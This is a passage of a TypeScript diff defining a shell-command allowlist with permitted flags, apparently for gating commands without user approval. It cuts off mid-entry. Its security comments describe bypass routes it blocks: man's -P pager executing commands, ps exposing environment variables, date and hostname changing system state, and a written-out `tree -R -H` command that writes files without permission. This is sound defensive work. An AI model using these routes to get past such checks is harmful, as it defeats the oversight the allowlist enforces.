+
'-L': 'none',
|
| 193 |
+
// Magic file options (safe when just reading)
|
| 194 |
+
'--magic-file': 'string',
|
| 195 |
+
'-m': 'string',
|
| 196 |
+
// Other safe options
|
| 197 |
+
'--keep-going': 'none',
|
| 198 |
+
'-k': 'none',
|
| 199 |
+
'--list': 'none',
|
| 200 |
+
'-l': 'none',
|
| 201 |
+
'--no-buffer': 'none',
|
| 202 |
+
'-n': 'none',
|
| 203 |
+
'--preserve-date': 'none',
|
| 204 |
+
'-p': 'none',
|
| 205 |
+
'--raw': 'none',
|
| 206 |
+
'-r': 'none',
|
| 207 |
+
'-s': 'none',
|
| 208 |
+
'--special-files': 'none',
|
| 209 |
+
// Uncompress flag for archives
|
| 210 |
+
'--uncompress': 'none',
|
| 211 |
+
'-z': 'none',
|
| 212 |
+
},
|
| 213 |
+
},
|
| 214 |
+
sed: {
|
| 215 |
+
safeFlags: {
|
| 216 |
+
// Expression flags
|
| 217 |
+
'--expression': 'string',
|
| 218 |
+
'-e': 'string',
|
| 219 |
+
// Output control
|
| 220 |
+
'--quiet': 'none',
|
| 221 |
+
'--silent': 'none',
|
| 222 |
+
'-n': 'none',
|
| 223 |
+
// Extended regex
|
| 224 |
+
'--regexp-extended': 'none',
|
| 225 |
+
'-r': 'none',
|
| 226 |
+
'--posix': 'none',
|
| 227 |
+
'-E': 'none',
|
| 228 |
+
// Line handling
|
| 229 |
+
'--line-length': 'number',
|
| 230 |
+
'-l': 'number',
|
| 231 |
+
'--zero-terminated': 'none',
|
| 232 |
+
'-z': 'none',
|
| 233 |
+
'--separate': 'none',
|
| 234 |
+
'-s': 'none',
|
| 235 |
+
'--unbuffered': 'none',
|
| 236 |
+
'-u': 'none',
|
| 237 |
+
// Debugging/help
|
| 238 |
+
'--debug': 'none',
|
| 239 |
+
'--help': 'none',
|
| 240 |
+
'--version': 'none',
|
| 241 |
+
},
|
| 242 |
+
additionalCommandIsDangerousCallback: (
|
| 243 |
+
rawCommand: string,
|
| 244 |
+
_args: string[],
|
| 245 |
+
) => !sedCommandIsAllowedByAllowlist(rawCommand),
|
| 246 |
+
},
|
| 247 |
+
sort: {
|
| 248 |
+
safeFlags: {
|
| 249 |
+
// Sorting options
|
| 250 |
+
'--ignore-leading-blanks': 'none',
|
| 251 |
+
'-b': 'none',
|
| 252 |
+
'--dictionary-order': 'none',
|
| 253 |
+
'-d': 'none',
|
| 254 |
+
'--ignore-case': 'none',
|
| 255 |
+
'-f': 'none',
|
| 256 |
+
'--general-numeric-sort': 'none',
|
| 257 |
+
'-g': 'none',
|
| 258 |
+
'--human-numeric-sort': 'none',
|
| 259 |
+
'-h': 'none',
|
| 260 |
+
'--ignore-nonprinting': 'none',
|
| 261 |
+
'-i': 'none',
|
| 262 |
+
'--month-sort': 'none',
|
| 263 |
+
'-M': 'none',
|
| 264 |
+
'--numeric-sort': 'none',
|
| 265 |
+
'-n': 'none',
|
| 266 |
+
'--random-sort': 'none',
|
| 267 |
+
'-R': 'none',
|
| 268 |
+
'--reverse': 'none',
|
| 269 |
+
'-r': 'none',
|
| 270 |
+
'--sort': 'string',
|
| 271 |
+
'--stable': 'none',
|
| 272 |
+
'-s': 'none',
|
| 273 |
+
'--unique': 'none',
|
| 274 |
+
'-u': 'none',
|
| 275 |
+
'--version-sort': 'none',
|
| 276 |
+
'-V': 'none',
|
| 277 |
+
'--zero-terminated': 'none',
|
| 278 |
+
'-z': 'none',
|
| 279 |
+
// Key specifications
|
| 280 |
+
'--key': 'string',
|
| 281 |
+
'-k': 'string',
|
| 282 |
+
'--field-separator': 'string',
|
| 283 |
+
'-t': 'string',
|
| 284 |
+
// Checking
|
| 285 |
+
'--check': 'none',
|
| 286 |
+
'-c': 'none',
|
| 287 |
+
'--check-char-order': 'none',
|
| 288 |
+
'-C': 'none',
|
| 289 |
+
// Merging
|
| 290 |
+
'--merge': 'none',
|
| 291 |
+
'-m': 'none',
|
| 292 |
+
// Buffer size
|
| 293 |
+
'--buffer-size': 'string',
|
| 294 |
+
'-S': 'string',
|
| 295 |
+
// Parallel processing
|
| 296 |
+
'--parallel': 'number',
|
| 297 |
+
// Batch size
|
| 298 |
+
'--batch-size': 'number',
|
| 299 |
+
// Help and version
|
| 300 |
+
'--help': 'none',
|
| 301 |
+
'--version': 'none',
|
| 302 |
+
},
|
| 303 |
+
},
|
| 304 |
+
man: {
|
| 305 |
+
safeFlags: {
|
| 306 |
+
// Safe display options
|
| 307 |
+
'-a': 'none', // Display all manual pages
|
| 308 |
+
'--all': 'none', // Same as -a
|
| 309 |
+
'-d': 'none', // Debug mode
|
| 310 |
+
'-f': 'none', // Emulate whatis
|
| 311 |
+
'--whatis': 'none', // Same as -f
|
| 312 |
+
'-h': 'none', // Help
|
| 313 |
+
'-k': 'none', // Emulate apropos
|
| 314 |
+
'--apropos': 'none', // Same as -k
|
| 315 |
+
'-l': 'string', // Local file (safe for reading, Linux only)
|
| 316 |
+
'-w': 'none', // Display location instead of content
|
| 317 |
+
|
| 318 |
+
// Safe formatting options
|
| 319 |
+
'-S': 'string', // Restrict manual sections
|
| 320 |
+
'-s': 'string', // Same as -S for whatis/apropos mode
|
| 321 |
+
},
|
| 322 |
+
},
|
| 323 |
+
// help command - only allow bash builtin help flags to prevent attacks when
|
| 324 |
+
// help is aliased to man (e.g., in oh-my-zsh common-aliases plugin).
|
| 325 |
+
// man's -P flag allows arbitrary command execution via pager.
|
| 326 |
+
help: {
|
| 327 |
+
safeFlags: {
|
| 328 |
+
'-d': 'none', // Output short description for each topic
|
| 329 |
+
'-m': 'none', // Display usage in pseudo-manpage format
|
| 330 |
+
'-s': 'none', // Output only a short usage synopsis
|
| 331 |
+
},
|
| 332 |
+
},
|
| 333 |
+
netstat: {
|
| 334 |
+
safeFlags: {
|
| 335 |
+
// Safe display options
|
| 336 |
+
'-a': 'none', // Show all sockets
|
| 337 |
+
'-L': 'none', // Show listen queue sizes
|
| 338 |
+
'-l': 'none', // Print full IPv6 address
|
| 339 |
+
'-n': 'none', // Show network addresses as numbers
|
| 340 |
+
|
| 341 |
+
// Safe filtering options
|
| 342 |
+
'-f': 'string', // Address family (inet, inet6, unix, vsock)
|
| 343 |
+
|
| 344 |
+
// Safe interface options
|
| 345 |
+
'-g': 'none', // Show multicast group membership
|
| 346 |
+
'-i': 'none', // Show interface state
|
| 347 |
+
'-I': 'string', // Specific interface
|
| 348 |
+
|
| 349 |
+
// Safe statistics options
|
| 350 |
+
'-s': 'none', // Show per-protocol statistics
|
| 351 |
+
|
| 352 |
+
// Safe routing options
|
| 353 |
+
'-r': 'none', // Show routing tables
|
| 354 |
+
|
| 355 |
+
// Safe mbuf options
|
| 356 |
+
'-m': 'none', // Show memory management statistics
|
| 357 |
+
|
| 358 |
+
// Safe other options
|
| 359 |
+
'-v': 'none', // Increase verbosity
|
| 360 |
+
},
|
| 361 |
+
},
|
| 362 |
+
ps: {
|
| 363 |
+
safeFlags: {
|
| 364 |
+
// UNIX-style process selection (these are safe)
|
| 365 |
+
'-e': 'none', // Select all processes
|
| 366 |
+
'-A': 'none', // Select all processes (same as -e)
|
| 367 |
+
'-a': 'none', // Select all with tty except session leaders
|
| 368 |
+
'-d': 'none', // Select all except session leaders
|
| 369 |
+
'-N': 'none', // Negate selection
|
| 370 |
+
'--deselect': 'none',
|
| 371 |
+
|
| 372 |
+
// UNIX-style output format (safe, doesn't show env)
|
| 373 |
+
'-f': 'none', // Full format
|
| 374 |
+
'-F': 'none', // Extra full format
|
| 375 |
+
'-l': 'none', // Long format
|
| 376 |
+
'-j': 'none', // Jobs format
|
| 377 |
+
'-y': 'none', // Don't show flags
|
| 378 |
+
|
| 379 |
+
// Output modifiers (safe ones)
|
| 380 |
+
'-w': 'none', // Wide output
|
| 381 |
+
'-ww': 'none', // Unlimited width
|
| 382 |
+
'--width': 'number',
|
| 383 |
+
'-c': 'none', // Show scheduler info
|
| 384 |
+
'-H': 'none', // Show process hierarchy
|
| 385 |
+
'--forest': 'none',
|
| 386 |
+
'--headers': 'none',
|
| 387 |
+
'--no-headers': 'none',
|
| 388 |
+
'-n': 'string', // Set namelist file
|
| 389 |
+
'--sort': 'string',
|
| 390 |
+
|
| 391 |
+
// Thread display
|
| 392 |
+
'-L': 'none', // Show threads
|
| 393 |
+
'-T': 'none', // Show threads
|
| 394 |
+
'-m': 'none', // Show threads after processes
|
| 395 |
+
|
| 396 |
+
// Process selection by criteria
|
| 397 |
+
'-C': 'string', // By command name
|
| 398 |
+
'-G': 'string', // By real group ID
|
| 399 |
+
'-g': 'string', // By session or effective group
|
| 400 |
+
'-p': 'string', // By PID
|
| 401 |
+
'--pid': 'string',
|
| 402 |
+
'-q': 'string', // Quick mode by PID
|
| 403 |
+
'--quick-pid': 'string',
|
| 404 |
+
'-s': 'string', // By session ID
|
| 405 |
+
'--sid': 'string',
|
| 406 |
+
'-t': 'string', // By tty
|
| 407 |
+
'--tty': 'string',
|
| 408 |
+
'-U': 'string', // By real user ID
|
| 409 |
+
'-u': 'string', // By effective user ID
|
| 410 |
+
'--user': 'string',
|
| 411 |
+
|
| 412 |
+
// Help/version
|
| 413 |
+
'--help': 'none',
|
| 414 |
+
'--info': 'none',
|
| 415 |
+
'-V': 'none',
|
| 416 |
+
'--version': 'none',
|
| 417 |
+
},
|
| 418 |
+
// Block BSD-style 'e' modifier which shows environment variables
|
| 419 |
+
// BSD options are letter-only tokens without a leading dash
|
| 420 |
+
additionalCommandIsDangerousCallback: (
|
| 421 |
+
_rawCommand: string,
|
| 422 |
+
args: string[],
|
| 423 |
+
) => {
|
| 424 |
+
// Check for BSD-style 'e' in letter-only tokens (not -e which is UNIX-style)
|
| 425 |
+
// A BSD-style option is a token of only letters (no leading dash) containing 'e'
|
| 426 |
+
return args.some(
|
| 427 |
+
a => !a.startsWith('-') && /^[a-zA-Z]*e[a-zA-Z]*$/.test(a),
|
| 428 |
+
)
|
| 429 |
+
},
|
| 430 |
+
},
|
| 431 |
+
base64: {
|
| 432 |
+
respectsDoubleDash: false, // macOS base64 does not respect POSIX --
|
| 433 |
+
safeFlags: {
|
| 434 |
+
// Safe decode options
|
| 435 |
+
'-d': 'none', // Decode
|
| 436 |
+
'-D': 'none', // Decode (macOS)
|
| 437 |
+
'--decode': 'none', // Decode
|
| 438 |
+
|
| 439 |
+
// Safe formatting options
|
| 440 |
+
'-b': 'number', // Break lines at num (macOS)
|
| 441 |
+
'--break': 'number', // Break lines at num (macOS)
|
| 442 |
+
'-w': 'number', // Wrap lines at COLS (Linux)
|
| 443 |
+
'--wrap': 'number', // Wrap lines at COLS (Linux)
|
| 444 |
+
|
| 445 |
+
// Safe input options (read from file, not write)
|
| 446 |
+
'-i': 'string', // Input file (safe for reading)
|
| 447 |
+
'--input': 'string', // Input file (safe for reading)
|
| 448 |
+
|
| 449 |
+
// Safe misc options
|
| 450 |
+
'--ignore-garbage': 'none', // Ignore non-alphabet chars when decoding (Linux)
|
| 451 |
+
'-h': 'none', // Help
|
| 452 |
+
'--help': 'none', // Help
|
| 453 |
+
'--version': 'none', // Version
|
| 454 |
+
},
|
| 455 |
+
},
|
| 456 |
+
grep: {
|
| 457 |
+
safeFlags: {
|
| 458 |
+
// Pattern flags
|
| 459 |
+
'-e': 'string', // Pattern
|
| 460 |
+
'--regexp': 'string',
|
| 461 |
+
'-f': 'string', // File with patterns
|
| 462 |
+
'--file': 'string',
|
| 463 |
+
'-F': 'none', // Fixed strings
|
| 464 |
+
'--fixed-strings': 'none',
|
| 465 |
+
'-G': 'none', // Basic regexp (default)
|
| 466 |
+
'--basic-regexp': 'none',
|
| 467 |
+
'-E': 'none', // Extended regexp
|
| 468 |
+
'--extended-regexp': 'none',
|
| 469 |
+
'-P': 'none', // Perl regexp
|
| 470 |
+
'--perl-regexp': 'none',
|
| 471 |
+
|
| 472 |
+
// Matching control
|
| 473 |
+
'-i': 'none', // Ignore case
|
| 474 |
+
'--ignore-case': 'none',
|
| 475 |
+
'--no-ignore-case': 'none',
|
| 476 |
+
'-v': 'none', // Invert match
|
| 477 |
+
'--invert-match': 'none',
|
| 478 |
+
'-w': 'none', // Word regexp
|
| 479 |
+
'--word-regexp': 'none',
|
| 480 |
+
'-x': 'none', // Line regexp
|
| 481 |
+
'--line-regexp': 'none',
|
| 482 |
+
|
| 483 |
+
// Output control
|
| 484 |
+
'-c': 'none', // Count
|
| 485 |
+
'--count': 'none',
|
| 486 |
+
'--color': 'string',
|
| 487 |
+
'--colour': 'string',
|
| 488 |
+
'-L': 'none', // Files without match
|
| 489 |
+
'--files-without-match': 'none',
|
| 490 |
+
'-l': 'none', // Files with matches
|
| 491 |
+
'--files-with-matches': 'none',
|
| 492 |
+
'-m': 'number', // Max count
|
| 493 |
+
'--max-count': 'number',
|
| 494 |
+
'-o': 'none', // Only matching
|
| 495 |
+
'--only-matching': 'none',
|
| 496 |
+
'-q': 'none', // Quiet
|
| 497 |
+
'--quiet': 'none',
|
| 498 |
+
'--silent': 'none',
|
| 499 |
+
'-s': 'none', // No messages
|
| 500 |
+
'--no-messages': 'none',
|
| 501 |
+
|
| 502 |
+
// Output line prefix
|
| 503 |
+
'-b': 'none', // Byte offset
|
| 504 |
+
'--byte-offset': 'none',
|
| 505 |
+
'-H': 'none', // With filename
|
| 506 |
+
'--with-filename': 'none',
|
| 507 |
+
'-h': 'none', // No filename
|
| 508 |
+
'--no-filename': 'none',
|
| 509 |
+
'--label': 'string',
|
| 510 |
+
'-n': 'none', // Line number
|
| 511 |
+
'--line-number': 'none',
|
| 512 |
+
'-T': 'none', // Initial tab
|
| 513 |
+
'--initial-tab': 'none',
|
| 514 |
+
'-u': 'none', // Unix byte offsets
|
| 515 |
+
'--unix-byte-offsets': 'none',
|
| 516 |
+
'-Z': 'none', // Null after filename
|
| 517 |
+
'--null': 'none',
|
| 518 |
+
'-z': 'none', // Null data
|
| 519 |
+
'--null-data': 'none',
|
| 520 |
+
|
| 521 |
+
// Context control
|
| 522 |
+
'-A': 'number', // After context
|
| 523 |
+
'--after-context': 'number',
|
| 524 |
+
'-B': 'number', // Before context
|
| 525 |
+
'--before-context': 'number',
|
| 526 |
+
'-C': 'number', // Context
|
| 527 |
+
'--context': 'number',
|
| 528 |
+
'--group-separator': 'string',
|
| 529 |
+
'--no-group-separator': 'none',
|
| 530 |
+
|
| 531 |
+
// File and directory selection
|
| 532 |
+
'-a': 'none', // Text (process binary as text)
|
| 533 |
+
'--text': 'none',
|
| 534 |
+
'--binary-files': 'string',
|
| 535 |
+
'-D': 'string', // Devices
|
| 536 |
+
'--devices': 'string',
|
| 537 |
+
'-d': 'string', // Directories
|
| 538 |
+
'--directories': 'string',
|
| 539 |
+
'--exclude': 'string',
|
| 540 |
+
'--exclude-from': 'string',
|
| 541 |
+
'--exclude-dir': 'string',
|
| 542 |
+
'--include': 'string',
|
| 543 |
+
'-r': 'none', // Recursive
|
| 544 |
+
'--recursive': 'none',
|
| 545 |
+
'-R': 'none', // Dereference-recursive
|
| 546 |
+
'--dereference-recursive': 'none',
|
| 547 |
+
|
| 548 |
+
// Other options
|
| 549 |
+
'--line-buffered': 'none',
|
| 550 |
+
'-U': 'none', // Binary
|
| 551 |
+
'--binary': 'none',
|
| 552 |
+
|
| 553 |
+
// Help and version
|
| 554 |
+
'--help': 'none',
|
| 555 |
+
'-V': 'none',
|
| 556 |
+
'--version': 'none',
|
| 557 |
+
},
|
| 558 |
+
},
|
| 559 |
+
...RIPGREP_READ_ONLY_COMMANDS,
|
| 560 |
+
// Checksum commands - these only read files and compute/verify hashes
|
| 561 |
+
// All flags are safe as they only affect output format or verification behavior
|
| 562 |
+
sha256sum: {
|
| 563 |
+
safeFlags: {
|
| 564 |
+
// Mode flags
|
| 565 |
+
'-b': 'none', // Binary mode
|
| 566 |
+
'--binary': 'none',
|
| 567 |
+
'-t': 'none', // Text mode
|
| 568 |
+
'--text': 'none',
|
| 569 |
+
|
| 570 |
+
// Check/verify flags
|
| 571 |
+
'-c': 'none', // Verify checksums from file
|
| 572 |
+
'--check': 'none',
|
| 573 |
+
'--ignore-missing': 'none', // Ignore missing files during check
|
| 574 |
+
'--quiet': 'none', // Quiet mode during check
|
| 575 |
+
'--status': 'none', // Don't output, exit code shows success
|
| 576 |
+
'--strict': 'none', // Exit non-zero for improperly formatted lines
|
| 577 |
+
'-w': 'none', // Warn about improperly formatted lines
|
| 578 |
+
'--warn': 'none',
|
| 579 |
+
|
| 580 |
+
// Output format flags
|
| 581 |
+
'--tag': 'none', // BSD-style output
|
| 582 |
+
'-z': 'none', // End output lines with NUL
|
| 583 |
+
'--zero': 'none',
|
| 584 |
+
|
| 585 |
+
// Help and version
|
| 586 |
+
'--help': 'none',
|
| 587 |
+
'--version': 'none',
|
| 588 |
+
},
|
| 589 |
+
},
|
| 590 |
+
sha1sum: {
|
| 591 |
+
safeFlags: {
|
| 592 |
+
// Mode flags
|
| 593 |
+
'-b': 'none', // Binary mode
|
| 594 |
+
'--binary': 'none',
|
| 595 |
+
'-t': 'none', // Text mode
|
| 596 |
+
'--text': 'none',
|
| 597 |
+
|
| 598 |
+
// Check/verify flags
|
| 599 |
+
'-c': 'none', // Verify checksums from file
|
| 600 |
+
'--check': 'none',
|
| 601 |
+
'--ignore-missing': 'none', // Ignore missing files during check
|
| 602 |
+
'--quiet': 'none', // Quiet mode during check
|
| 603 |
+
'--status': 'none', // Don't output, exit code shows success
|
| 604 |
+
'--strict': 'none', // Exit non-zero for improperly formatted lines
|
| 605 |
+
'-w': 'none', // Warn about improperly formatted lines
|
| 606 |
+
'--warn': 'none',
|
| 607 |
+
|
| 608 |
+
// Output format flags
|
| 609 |
+
'--tag': 'none', // BSD-style output
|
| 610 |
+
'-z': 'none', // End output lines with NUL
|
| 611 |
+
'--zero': 'none',
|
| 612 |
+
|
| 613 |
+
// Help and version
|
| 614 |
+
'--help': 'none',
|
| 615 |
+
'--version': 'none',
|
| 616 |
+
},
|
| 617 |
+
},
|
| 618 |
+
md5sum: {
|
| 619 |
+
safeFlags: {
|
| 620 |
+
// Mode flags
|
| 621 |
+
'-b': 'none', // Binary mode
|
| 622 |
+
'--binary': 'none',
|
| 623 |
+
'-t': 'none', // Text mode
|
| 624 |
+
'--text': 'none',
|
| 625 |
+
|
| 626 |
+
// Check/verify flags
|
| 627 |
+
'-c': 'none', // Verify checksums from file
|
| 628 |
+
'--check': 'none',
|
| 629 |
+
'--ignore-missing': 'none', // Ignore missing files during check
|
| 630 |
+
'--quiet': 'none', // Quiet mode during check
|
| 631 |
+
'--status': 'none', // Don't output, exit code shows success
|
| 632 |
+
'--strict': 'none', // Exit non-zero for improperly formatted lines
|
| 633 |
+
'-w': 'none', // Warn about improperly formatted lines
|
| 634 |
+
'--warn': 'none',
|
| 635 |
+
|
| 636 |
+
// Output format flags
|
| 637 |
+
'--tag': 'none', // BSD-style output
|
| 638 |
+
'-z': 'none', // End output lines with NUL
|
| 639 |
+
'--zero': 'none',
|
| 640 |
+
|
| 641 |
+
// Help and version
|
| 642 |
+
'--help': 'none',
|
| 643 |
+
'--version': 'none',
|
| 644 |
+
},
|
| 645 |
+
},
|
| 646 |
+
// tree command - moved from READONLY_COMMAND_REGEXES to allow flags and path arguments
|
| 647 |
+
// -o/--output writes to a file, so it's excluded. All other flags are display/filter options.
|
| 648 |
+
tree: {
|
| 649 |
+
safeFlags: {
|
| 650 |
+
// Listing options
|
| 651 |
+
'-a': 'none', // All files
|
| 652 |
+
'-d': 'none', // Directories only
|
| 653 |
+
'-l': 'none', // Follow symlinks
|
| 654 |
+
'-f': 'none', // Full path prefix
|
| 655 |
+
'-x': 'none', // Stay on current filesystem
|
| 656 |
+
'-L': 'number', // Max depth
|
| 657 |
+
// SECURITY: -R REMOVED. tree -R combined with -H (HTML mode) and -L (depth)
|
| 658 |
+
// WRITES 00Tree.html files to every subdirectory at the depth boundary.
|
| 659 |
+
// From man tree (< 2.1.0): "-R — at each of them execute tree again
|
| 660 |
+
// adding `-o 00Tree.html` as a new option." The comment "Rerun at max
|
| 661 |
+
// depth" was misleading — the "rerun" includes a hardcoded -o file write.
|
| 662 |
+
// `tree -R -H . -L 2 /path` → writes /path/<subdir>/00Tree.html for each
|
| 663 |
+
// subdir at depth 2. FILE WRITE, zero permissions.
|
| 664 |
+
'-P': 'string', // Include pattern
|
| 665 |
+
'-I': 'string', // Exclude pattern
|
| 666 |
+
'--gitignore': 'none',
|
| 667 |
+
'--gitfile': 'string',
|
| 668 |
+
'--ignore-case': 'none',
|
| 669 |
+
'--matchdirs': 'none',
|
| 670 |
+
'--metafirst': 'none',
|
| 671 |
+
'--prune': 'none',
|
| 672 |
+
'--info': 'none',
|
| 673 |
+
'--infofile': 'string',
|
| 674 |
+
'--noreport': 'none',
|
| 675 |
+
'--charset': 'string',
|
| 676 |
+
'--filelimit': 'number',
|
| 677 |
+
// File display options
|
| 678 |
+
'-q': 'none', // Non-printable as ?
|
| 679 |
+
'-N': 'none', // Non-printable as-is
|
| 680 |
+
'-Q': 'none', // Quote filenames
|
| 681 |
+
'-p': 'none', // Protections
|
| 682 |
+
'-u': 'none', // Owner
|
| 683 |
+
'-g': 'none', // Group
|
| 684 |
+
'-s': 'none', // Size bytes
|
| 685 |
+
'-h': 'none', // Human-readable sizes
|
| 686 |
+
'--si': 'none',
|
| 687 |
+
'--du': 'none',
|
| 688 |
+
'-D': 'none', // Last modification time
|
| 689 |
+
'--timefmt': 'string',
|
| 690 |
+
'-F': 'none', // Append indicator
|
| 691 |
+
'--inodes': 'none',
|
| 692 |
+
'--device': 'none',
|
| 693 |
+
// Sorting options
|
| 694 |
+
'-v': 'none', // Version sort
|
| 695 |
+
'-t': 'none', // Sort by mtime
|
| 696 |
+
'-c': 'none', // Sort by ctime
|
| 697 |
+
'-U': 'none', // Unsorted
|
| 698 |
+
'-r': 'none', // Reverse sort
|
| 699 |
+
'--dirsfirst': 'none',
|
| 700 |
+
'--filesfirst': 'none',
|
| 701 |
+
'--sort': 'string',
|
| 702 |
+
// Graphics/output options
|
| 703 |
+
'-i': 'none', // No indentation lines
|
| 704 |
+
'-A': 'none', // ANSI line graphics
|
| 705 |
+
'-S': 'none', // CP437 line graphics
|
| 706 |
+
'-n': 'none', // No color
|
| 707 |
+
'-C': 'none', // Color
|
| 708 |
+
'-X': 'none', // XML output
|
| 709 |
+
'-J': 'none', // JSON output
|
| 710 |
+
'-H': 'string', // HTML output with base HREF
|
| 711 |
+
'--nolinks': 'none',
|
| 712 |
+
'--hintro': 'string',
|
| 713 |
+
'--houtro': 'string',
|
| 714 |
+
'-T': 'string', // HTML title
|
| 715 |
+
'--hyperlink': 'none',
|
| 716 |
+
'--scheme': 'string',
|
| 717 |
+
'--authority': 'string',
|
| 718 |
+
// Input options (read from file, not write)
|
| 719 |
+
'--fromfile': 'none',
|
| 720 |
+
'--fromtabfile': 'none',
|
| 721 |
+
'--fflinks': 'none',
|
| 722 |
+
// Help and version
|
| 723 |
+
'--help': 'none',
|
| 724 |
+
'--version': 'none',
|
| 725 |
+
},
|
| 726 |
+
},
|
| 727 |
+
// date command - moved from READONLY_COMMANDS because -s/--set can set system time
|
| 728 |
+
// Also -f/--file can be used to read dates from file and set time
|
| 729 |
+
// We only allow safe display options
|
| 730 |
+
date: {
|
| 731 |
+
safeFlags: {
|
| 732 |
+
// Display options (safe - don't modify system time)
|
| 733 |
+
'-d': 'string', // --date=STRING - display time described by STRING
|
| 734 |
+
'--date': 'string',
|
| 735 |
+
'-r': 'string', // --reference=FILE - display file's modification time
|
| 736 |
+
'--reference': 'string',
|
| 737 |
+
'-u': 'none', // --utc - use UTC
|
| 738 |
+
'--utc': 'none',
|
| 739 |
+
'--universal': 'none',
|
| 740 |
+
// Output format options
|
| 741 |
+
'-I': 'none', // --iso-8601 (can have optional argument, but none type handles bare flag)
|
| 742 |
+
'--iso-8601': 'string',
|
| 743 |
+
'-R': 'none', // --rfc-email
|
| 744 |
+
'--rfc-email': 'none',
|
| 745 |
+
'--rfc-3339': 'string',
|
| 746 |
+
// Debug/help
|
| 747 |
+
'--debug': 'none',
|
| 748 |
+
'--help': 'none',
|
| 749 |
+
'--version': 'none',
|
| 750 |
+
},
|
| 751 |
+
// Dangerous flags NOT included (blocked by omission):
|
| 752 |
+
// -s / --set - sets system time
|
| 753 |
+
// -f / --file - reads dates from file (can be used to set time in batch)
|
| 754 |
+
// CRITICAL: date positional args in format MMDDhhmm[[CC]YY][.ss] set system time
|
| 755 |
+
// Use callback to verify positional args start with + (format strings like +"%Y-%m-%d")
|
| 756 |
+
additionalCommandIsDangerousCallback: (
|
| 757 |
+
_rawCommand: string,
|
| 758 |
+
args: string[],
|
| 759 |
+
) => {
|
| 760 |
+
// args are already parsed tokens after "date"
|
| 761 |
+
// Flags that require an argument
|
| 762 |
+
const flagsWithArgs = new Set([
|
| 763 |
+
'-d',
|
| 764 |
+
'--date',
|
| 765 |
+
'-r',
|
| 766 |
+
'--reference',
|
| 767 |
+
'--iso-8601',
|
| 768 |
+
'--rfc-3339',
|
| 769 |
+
])
|
| 770 |
+
let i = 0
|
| 771 |
+
while (i < args.length) {
|
| 772 |
+
const token = args[i]!
|
| 773 |
+
// Skip flags and their arguments
|
| 774 |
+
if (token.startsWith('--') && token.includes('=')) {
|
| 775 |
+
// Long flag with =value, already consumed
|
| 776 |
+
i++
|
| 777 |
+
} else if (token.startsWith('-')) {
|
| 778 |
+
// Flag - check if it takes an argument
|
| 779 |
+
if (flagsWithArgs.has(token)) {
|
| 780 |
+
i += 2 // Skip flag and its argument
|
| 781 |
+
} else {
|
| 782 |
+
i++ // Just skip the flag
|
| 783 |
+
}
|
| 784 |
+
} else {
|
| 785 |
+
// Positional argument - must start with + for format strings
|
| 786 |
+
// Anything else (like MMDDhhmm) could set system time
|
| 787 |
+
if (!token.startsWith('+')) {
|
| 788 |
+
return true // Dangerous
|
| 789 |
+
}
|
| 790 |
+
i++
|
| 791 |
+
}
|
| 792 |
+
}
|
| 793 |
+
return false // Safe
|
| 794 |
+
},
|
| 795 |
+
},
|
| 796 |
+
// hostname command - moved from READONLY_COMMANDS because positional args set hostname
|
| 797 |
+
// Also -F/--file sets hostname from file, -b/--boot sets default hostname
|
| 798 |
+
// We only allow safe display options and BLOCK any positional arguments
|
| 799 |
+
hostname: {
|
| 800 |
+
safeFlags: {
|
| 801 |
+
// Display options only (safe)
|
| 802 |
+
'-f': 'none', // --fqdn - display FQDN
|
| 803 |
+
'--fqdn': 'none',
|
| 804 |
+
'--long': 'none',
|
| 805 |
+
'-s': 'none', // --short - display short name
|
| 806 |
+
'--short': 'none',
|
| 807 |
+
'-i': 'none', // --ip-address
|
| 808 |
+
'--ip-address': 'none',
|
| 809 |
+
'-I': 'none', // --all-ip-addresses
|
| 810 |
+
'--all-ip-addresses': 'none',
|
| 811 |
+
'-a': 'none', // --alias
|
| 812 |
+
'--alias': 'none',
|
| 813 |
+
'-d': 'none', // --domain
|
| 814 |
+
'--domain': 'none',
|
| 815 |
+
'-A': 'none', // --all-fqdns
|
| 816 |
+
'--all-fqdns': 'none',
|
| 817 |
+
'-v': 'none', // --verbose
|
| 818 |
+
'--verbose': 'none',
|
| 819 |
+
'-h': 'none', // --help
|
| 820 |
+
'--help': 'none',
|
| 821 |
+
'-V': 'none', // --version
|
| 822 |
+
'--version': 'none',
|
| 823 |
+
},
|
| 824 |
+
// CRITICAL: Block any positional arguments - they set the hostname
|
| 825 |
+
// Also block -F/--file, -b/--boot, -y/--yp/--nis (not in safeFlags = blocked)
|
| 826 |
+
// Use regex to ensure no positional args after flags
|
| 827 |
+
regex: /^hostname(?:\s+(?:-[a-zA-Z]|--[a-zA-Z-]+))*\s*$/,
|
| 828 |
+
},
|
| 829 |
+
// info command - moved from READONLY_COMMANDS because -o/--output writes to files
|
| 830 |
+
// Also --dribble writes keystrokes to file, --init-file loads custom config
|
| 831 |
+
// We only allow safe display/navigation options
|
| 832 |
+
info: {
|
| 833 |
+
safeFlags: {
|
| 834 |
+
// Navigation/display options (safe)
|
| 835 |
+
'-f': 'string', // --file - specify manual file to read
|
| 836 |
+
'--file': 'string',
|
| 837 |
+
'-d': 'string', // --directory - search path
|
| 838 |
+
'--directory': 'string',
|
| 839 |
+
'-n': 'string', // --node - specify node
|
| 840 |
+
'--node': 'string',
|
| 841 |
+
'-a': 'none', // --all
|
| 842 |
+
'--all': 'none',
|
| 843 |
+
'-k': 'string', // --apropos - search
|
| 844 |
+
'--apropos': 'string',
|
| 845 |
+
'-w': 'none', // --where - show location
|
| 846 |
+
'--where': 'none',
|
| 847 |
+
'--location': 'none',
|
| 848 |
+
'--show-options': 'none',
|
| 849 |
+
'--vi-keys': 'none',
|
| 850 |
+
'--subnodes': 'none',
|
| 851 |
+
'-h': 'none',
|
| 852 |
+
'--help': 'none',
|
| 853 |
+
'--usage': 'none',
|
| 854 |
+
'--version': 'none',
|
| 855 |
+
},
|
| 856 |
+
// Dangerous flags NOT included (blocked by omission):
|
| 857 |
+
// -o / --output - writes output to file
|
| 858 |
+
// --dribble - records keystrokes to file
|
| 859 |
+
// --init-file - loads custom config (potential code execution)
|
| 860 |
+
// --restore - replays keystrokes from file
|
| 861 |
+
},
|
| 862 |
+
|
| 863 |
+
lsof: {
|
| 864 |
+
safeFlags: {
|
| 865 |
+
'-?': 'none',
|
| 866 |
+
'-h': 'none',
|
| 867 |
+
'-v': 'none',
|
| 868 |
+
'-a': 'none',
|
| 869 |
+
'-b': 'none',
|
| 870 |
+
'-C': 'none',
|
| 871 |
+
'-l': 'none',
|
| 872 |
+
'-n': 'none',
|
| 873 |
+
'-N': 'none',
|
| 874 |
+
'-O': 'none',
|
| 875 |
+
'-P': 'none',
|
| 876 |
+
